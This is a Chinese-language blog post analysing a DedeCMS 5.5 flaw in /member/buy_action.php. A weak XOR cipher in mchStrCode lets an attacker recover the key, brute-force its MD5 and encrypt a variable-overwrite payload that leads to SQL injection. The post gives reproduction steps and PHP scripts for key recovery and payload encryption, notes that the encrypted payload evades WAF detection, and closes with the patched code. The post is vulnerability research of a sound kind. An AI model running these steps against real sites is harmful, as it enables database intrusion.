• dedecms /member/buy_action.php Weak Password Vulnerability Algorithm Vul


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    1. 漏洞由mchStrCode函数弱算法(异或算法: 得其中2知余下1)->
    2. 导致通过获取到的明文和密文可以逆出经过MD5加密的密匙key->
    3. 破解MD5得到密匙->
    4. 利用密匙加密攻击Payload数据,并发送->
    5,在受害者服务端经过parse_str函数和foreach遍历最终覆盖表前缀变量$GLOBALS[cfg_dbprefix]实现注入
    //漏洞利用过程提交的数据因为加密,隐藏了攻击payload的特征,和正常用户操作提交的数据并无二致,很难通过WAF等流量检测防御

    Relevant Link:

    http://m.blog.csdn.net/blog/jay900323/41311407


    2. 漏洞触发条件

    0x1: 漏洞测试

    firefox的一个插件User Agent Switcher来设置UA,安装插件后,添加一个UA头,其中的User Agent清空,description随便填。设置为空是因为mchStrCode函数中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不为空将加大md5的破解难度,设置为空则密匙为固定10位长度。设置好UA后

    1. 注册并登陆会员中心
    2. 在"我的织梦"->
    3. "消费中心"->
    4. "会员升级/点卡充值"中的"购买新点卡"选择"100点卡"
    5. 在点击购买前使用Live HTTP header监听

    因为$_REQUEST获取参数是从$_GET->$_POST->$_COOKIE依次获取,所以$pr_encode明文的的内容为POST的内容“product=card&pid=1”加上COOKIE的内容,然后加密并打印加密后的字符串到html页面。明文和密文都获取到了,通过异或算法,获得MD5加密后的$key

    <?php
        //明文
        $key = "product=card&pid=1";
        //密文
        $string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
        $string = base64_decode(urldecode($string));
        for($i=0; $i<strlen($string); $i++)
        {
            $code  .= $string[$i] ^ $key[$i];
        }
        //待暴力破解的$key
        echo "md5($key):" .$code;
    ?>

    接下来开始暴力破解$GLOBALS['cfg_cookie_encode'](因为我们控制$_SERVER["HTTP_USER_AGENT"]为空),取逆出的key的前16位破解md5即可,得到的$GLOBALS['cfg_cookie_encode']就是一个密文,我们不需要再次去逆向这个$GLOBALS['cfg_cookie_encode']了,可以直接使用它的密文进行后续的攻击

    到了这一步,发起攻击的条件都准备好了,我们可以利用获得的$key,复用mchStrCode函数代码,对我们的变量覆盖payload进行加密,等效于利用了dedecms自己的加密通道发起了变量覆盖攻击,利用变量覆盖漏洞覆盖$GLOBALS[cfg_dbprefix]实现注入

    <?php
        $GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
        function mchStrCode($string,$action='ENCODE')
        {
            $key    = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
            $string    = $action == 'ENCODE' ? $string : base64_decode($string);
            $len    = strlen($key);
            $code    = '';
            for($i=0; $i<strlen($string); $i++)
            {
            $k        = $i % $len;
            $code  .= $string[$i] ^ $key[$k];
            }
            $code = $action == 'DECODE' ? $code : base64_encode($code);
            return $code;
        }

    Relevant Link:

    http://drops.wooyun.org/papers/979


    3. 漏洞影响范围
    4. 漏洞代码分析

    我们从黑客攻击步骤的角度,逐步来分析一下漏洞代码,同时讨论补丁前和补丁后的代码
    dedecms5.5datasys_pay.cache.php

    function mchStrCode($string, $action='ENCODE')
    {
        $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
        $string    = $action == 'ENCODE' ? $string : base64_decode($string);
        $len    = strlen($key);
        $code    = '';
    
        for($i = 0; $i < strlen($string); $i++)
        {
            $k        = $i % $len;
            //补丁前是简单的异或算法
            $code  .= $string[$i] ^ $key[$k];
        }
        $code = $action == 'DECODE' ? $code : base64_encode($code);
        return $code;
    }

    我们第一步的目标是推导出用户加密的$key,我们从mchStrCode使用流这个角度入手,即分析哪些地方调用了mchStrCode这个函数
    /member/buy_action.php

    if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
    {
        //调用了mchStrCode函数对$pd_encode变量解密并通过parse_str函数注册变量
        parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
        //foreach遍历$mch_Post数组,这里如果我们可以控制$pd_encode解码后的内容,就可以注册覆盖任意变量
        foreach($mch_Post as $k => $v) 
            $$k = $v;
        $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
        if(!isset($row['buyid']))
        {
            ShowMsg("请不要重复提交表单!", 'javascript:;');
            exit();
        }
        $buyid = $row['buyid']; 
    }
    ..

    确定了攻击向量是变量覆盖,接下来要分析的是如何构造触发这条攻击向量,继续回到dedecms5.5datasys_pay.cache.php中的mchStrCode函数

    function mchStrCode($string, $action='ENCODE')
    {
        $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
        ..
        for($i = 0; $i < strlen($string); $i++)
        {
            $k        = $i % $len;
            //补丁前是简单的异或算法
            $code  .= $string[$i] ^ $key[$k];
        }
        ..
    }

    其中构成$key的关键参数

    1. $_SERVER["HTTP_USER_AGENT"]: 浏览器的USER_AGENT,攻击者可控
    2. $GLOBALS['cfg_cookie_encode']: 未知,需要暴力破解

    /install/index.php的$rnd_cookieEncode字符串的生成同样是加强了强度,$rnd_cookieEncode字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode']

    $rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

    这段代码生成的加密密匙很有规律,所有密钥数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,可以得到原始密钥
    总结一下上文

    1. 要暴力破解$GLOBALS['cfg_cookie_encode'],就需要知道$key密文
    2. 因为mchStrCode函数的简单异或算法的关系,$key密文可以通过明文和密文异或到得到
    /*
    假设有明文A,密匙B,密文C,则
    C = A ^ B
    B = A ^ C
    */

    所以现在问题就转换为了: 如何得到明文以及加密后的字符串呢
    /member/buy_action.php

    //$pr_encode是从$_REQUEST获取的,也就是说明文可控
        $pr_encode = '';
        foreach($_REQUEST as $key => $val)
        {
            $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
        }
        
        $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
        
        $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
        
        $temp_arr = NULL;
        $tpl = new DedeTemplate();
        //$pr_encode加密后写到html页面
        $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
        $tpl->Display();

    dedecms5.5member empletsuy_action_payment.htm

    ..
    <input type="hidden" name="pd_encode" value="<?php echo $pr_encode;?>">
    <input type="hidden" name="pd_verify" value="<?php echo $pr_verify;?>">
    ..

    我们需要的明文和密文都能获取到

    Relevant Link:

    http://webscan.360.cn/news/news128

     
    5. 防御方法

    /member/buy_action.php

    function mchStrCode($string, $operation = 'ENCODE') 
    {
        $key_length = 4;
        $expiry = 0;
        $key = md5($GLOBALS['cfg_cookie_encode']);
        $fixedkey = md5($key);
        $egiskeys = md5(substr($fixedkey, 16, 16));
        $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
        $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
        $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    
        $i = 0; $result = '';
        $string_length = strlen($string);
        for ($i = 0; $i < $string_length; $i++)
        {
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
        }
        if($operation == 'ENCODE') 
        {
            return $runtokey . str_replace('=', '', base64_encode($result));
        } 
        else 
        {
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) 
            {
                return substr($result, 26);
            } 
            else 
            {
                return '';
            }
        }
    }

    Relevant Link:

    http://www.dedecms.com/pl/


    6. 攻防思考

    思考这种攻击向量,问题的根源不在明文可控、明文、密文泄漏,这些都是对一个WEB应用来说必须的,而根源在于用于密码的算法不能采用简单的异或算法,应该禁止黑客仅仅通过明密文就可以逆向出$key的密文

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    ERRORCODE=4228, SQLSTATE=null
    DB2和Oracle中唯一约束和唯一索引对比
    SW 3D 样条曲线
    SW 快速操作
    spring依赖注入的方式(一)
    Oracle Connect By的用法
    转:min(x,y)高效算法
    【转】QQ盗号核心编程
    转:理解并解决GBK转UTF8奇数中文乱码
    Oracle数据库的导入和导出命令
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4514250.html
Copyright © 2020-2023  润新知